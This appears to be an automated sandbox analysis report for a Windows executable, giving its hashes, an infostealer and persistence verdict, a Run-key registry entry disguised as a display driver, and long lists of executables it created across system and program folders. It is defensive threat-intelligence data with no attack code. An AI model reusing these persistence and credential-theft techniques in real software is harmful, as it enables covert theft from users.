a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322

Analysis

max time kernel
149s
max time network
147s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
13-03-2024 09:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
Size

294KB
MD5

5ec2491722718661c3e3051c80ca898e
SHA1

cbd74c3de82457f7f6d97175272e7ed25de29c05
SHA256

a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322
SHA512

18131d835943858301f12931324e3fdc0a87c5d65800bcecf45f0727db04f46eca387f795b6115626151933b0703ac8bb91029ea6f1a0a1b5e9bd1dbec23a511
SSDEEP

6144:fpMM6VnmffCpJipZQeNai17Y56rKnBfWhve:CXmfaXiHQeN/7YkrWBfWhv

Score

7^/10

persistence spyware stealer

Malware Config

Signatures

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ati display driver = "ÔN@"	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe

Drops file in System32 directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\mobsync.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\TSTheme.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\xpsrchvw.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\colorcpl.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\SearchProtocolHost.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\LocationNotifications.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\logman.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\mobsync.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\mspaint.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\xcopy.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\getmac.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\Netplwiz.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\powercfg.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\unregmp2.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\ktmutil.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\fc.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\autochk.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\bootcfg.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\efsui.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\eventvwr.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\expand.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\mshta.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\shrpubw.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\AdapterTroubleshooter.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\mstsc.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\DWWIN.EXE-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\IME\IMETC10\IMTCPROP.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\mtstocom.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\netsh.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\regini.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\tree.com-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\comp.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\RMActivate_ssp.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\chkdsk.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\ftp.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\PING.EXE_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\schtasks.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\autoconv.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\DisplaySwitch.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\fsutil.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\hh.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\IME\IMETC10\IMTCPROP.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\cipher.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\MuiUnattend.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\SystemPropertiesPerformance.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\CertEnrollCtrl.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\sxstrace.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\ieUnatt.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\Dism.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\findstr.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\fltMC.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\Magnify.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\ReAgentc.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\cleanmgr.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\rasphone.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\SecEdit.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\powercfg.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\upnpcont.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\dpnsvr.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\IME\shared\IMCCPHR.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\ntkrnlpa.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\PkgMgr.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\TpmInit.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\SysWOW64\cipher.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Java\jdk1.7.0_80\bin\javafxpackager.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Windows Mail\wabmig.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroBroker.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Microsoft Office\Office14\1033\ONELEV.EXE_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Microsoft Office\Office14\MSACCESS.EXE	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jdk1.7.0_80\bin\jstatd.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\pack200.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jdk1.7.0_80\bin\ktab.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\106.0.5249.119\chrome_installer.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jdk1.7.0_80\bin\jdb.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\RemoveMount.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\7-Zip\Uninstall.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Common Files\Microsoft Shared\MSInfo\msinfo32.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Common Files\microsoft shared\DW\DW20.EXE-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Common Files\microsoft shared\ink\TabTip32.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Common Files\microsoft shared\Smart Tag\SmartTagInstall.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Common Files\Adobe AIR\Versions\1.0\Adobe AIR Application Installer.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jdk1.7.0_80\bin\tnameserv.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Windows Media Player\setup_wm.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Common Files\microsoft shared\OfficeSoftwareProtectionPlatform\OSPPREARM.EXE-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jre7\bin\rmiregistry.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Windows Journal\Journal.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Windows Mail\WinMail.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jdk1.7.0_80\db\bin\derby_common.bat_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jre7\bin\policytool.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\unpack200.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateOnDemand.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Microsoft Office\Office14\1033\ONELEV.EXE	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Microsoft Office\Office14\CNFNOT32.EXE-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.EXE_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateCore.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\HideWrite.bat-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\javacpl.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\keytool.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Mozilla Firefox\updater.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\RemoveMount.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AdobeCollabSync.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\MSOXMLED.EXE	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.EXE-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jdk1.7.0_80\db\bin\stopNetworkServer.bat-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Mozilla Firefox\crashreporter.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Microsoft Office\Office14\OIS.EXE	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Google\Chrome\Application\106.0.5249.119\notification_helper.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jdk1.7.0_80\bin\javaw.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jre7\bin\servertool.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Windows Media Player\WMPDMC.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Common Files\microsoft shared\ink\pipanel.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Common Files\microsoft shared\VSTO\10.0\VSTOInstaller.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Windows Sidebar\sidebar.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jdk1.7.0_80\bin\jconsole.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jdk1.7.0_80\bin\jdb.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jdk1.7.0_80\bin\jinfo.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\nbexec64.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jdk1.7.0_80\bin\java.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\VideoLAN\VLC\uninstall.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Microsoft Office\Office14\Wordconv.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Java\jdk1.7.0_80\bin\jarsigner.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\VideoLAN\VLC\vlc.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Windows Mail\wab.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Eula.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files (x86)\Internet Explorer\ielowutil.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Program Files\Common Files\Microsoft Shared\ink\InkWatson.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\winsxs\wow64_microsoft-windows-tapicore_31bf3856ad364e35_6.1.7600.16385_none_4a83748394a862f9\dialer.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\x86_microsoft-windows-where_31bf3856ad364e35_6.1.7600.16385_none_5da98f433f7e2878\where.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\Microsoft.NET\Framework\v3.5\DataSvcUtil.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_microsoft-windows-sonic-sbeserver_31bf3856ad364e35_6.1.7601.17514_none_7b380cb06fd9d81d\SBEServer.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_microsoft-windows-telnet-server-tlntsvr_31bf3856ad364e35_6.1.7600.16385_none_1ab997fb0a83afdd\tlntsvr.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_microsoft-windows-choice_31bf3856ad364e35_6.1.7601.17514_none_218cf07ba262766c\choice.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_microsoft-windows-ie-ielowutil_31bf3856ad364e35_11.2.9600.16428_none_e8cd1f348648ebd1\ielowutil.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_microsoft-windows-ie-setup-support_31bf3856ad364e35_8.0.7601.17514_none_3eb101caec1acc2c\ie4uinit.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_microsoft-windows-msconfig-exe_31bf3856ad364e35_6.1.7601.17514_none_38a043f2b45f9ad2\msconfig.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\x86_microsoft-windows-m..ommandlineutilities_31bf3856ad364e35_6.1.7600.16385_none_7cf343cac8a829ec\attrib.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\x86_microsoft-windows-s..mpropertiesadvanced_31bf3856ad364e35_6.1.7600.16385_none_f71eddfb459a0155\SystemPropertiesAdvanced.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_microsoft-windows-mobsyncexe_31bf3856ad364e35_6.1.7601.17514_none_4d76defd6af4a83e\mobsync.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_microsoft-windows-setup-component_31bf3856ad364e35_6.1.7601.17514_none_905283bdc3e1d2d8\Setup.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\x86_microsoft-windows-ie-gc-registeriepkeys_31bf3856ad364e35_8.0.7601.17514_none_44aa873ff9136c27\RegisterIEPKEYs.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\x86_netfx-ngen_exe_b03f5f7f11d50a3a_6.1.7601.17514_none_4c193e6507471ede\ngen.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_divacx64.inf_31bf3856ad364e35_6.1.7600.16385_none_cf37cc4c5bc25dc7\xlog.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_microsoft-windows-devicepairingapp_31bf3856ad364e35_6.1.7600.16385_none_cb9353551bbd8ed8\DevicePairingWizard.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_subsystem-for-unix-based-applications_31bf3856ad364e35_6.1.7601.17514_none_d20e5d35068f261a\psxrun.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\x86_microsoft-windows-driververifier_31bf3856ad364e35_6.1.7600.16385_none_ba42313afe0efbbb\verifier.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_microsoft-windows-t..cesframework-ctfmon_31bf3856ad364e35_6.1.7600.16385_none_f9257e7aaa4290ce\ctfmon.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\msil_narrator_31bf3856ad364e35_6.1.7601.17514_none_e18f9f5aaa2eda72\Narrator.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\x86_microsoft-windows-label_31bf3856ad364e35_6.1.7600.16385_none_570561eb2b9c151d\label.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\aspnet_regiis.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_microsoft-windows-ie-htmlapplication_31bf3856ad364e35_8.0.7600.16385_none_d009281f9a108e04\mshta.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_microsoft-windows-p..ting-tools-printbrm_31bf3856ad364e35_6.1.7601.17514_none_dfe02de35bf41e0b\PrintBrm.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_microsoft-windows-synchost_31bf3856ad364e35_6.1.7600.16385_none_c575fec016436d8a\SyncHost.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\x86_microsoft-windows-s..mpropertiesadvanced_31bf3856ad364e35_6.1.7600.16385_none_f71eddfb459a0155\SystemPropertiesAdvanced.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\x86_microsoft-windows-verclsid_31bf3856ad364e35_6.1.7600.16385_none_bbbd275974c7e191\verclsid.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\vbc.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_microsoft-windows-m..ommandlineutilities_31bf3856ad364e35_6.1.7600.16385_none_d911df4e81059b22\more.com_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_wp.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_microsoft-windows-snippingtool-app_31bf3856ad364e35_6.1.7600.16385_none_f5b8f3d6a353fa89\SnippingTool.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\x86_microsoft-windows-d..-japanese-utilities_31bf3856ad364e35_6.1.7601.17514_none_ef38a8d0d05cc2c7\IMJPUEX.EXE-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\f4a88265ac4ad47978daef8c5482fd30\MSBuild.ni.exe	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_microsoft-windows-t..es-commandlinetools_31bf3856ad364e35_6.1.7601.17514_none_42d65ed50fa3c682\tscon.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\x86_netfx-clrgc_b03f5f7f11d50a3a_6.1.7601.17514_none_f5276fe6b5adf276\clrgc.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_microsoft-windows-magnify_31bf3856ad364e35_6.1.7600.16385_none_ca22c913b260e66a\Magnify.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_microsoft-windows-setupapi_31bf3856ad364e35_6.1.7601.17514_none_931b5f1fdcdd6496\wowreg32.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\winsxs\amd64_security-malware-windows-defender_31bf3856ad364e35_6.1.7601.17514_none_b5e2b6396ecea306\MSASCui.exe_	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
File created	C:\Windows\ehome\ehprivjob.exe-	a26eec0721818db2ad84f35ee462d22099f66c9908915a49caac2e0853724322.exe
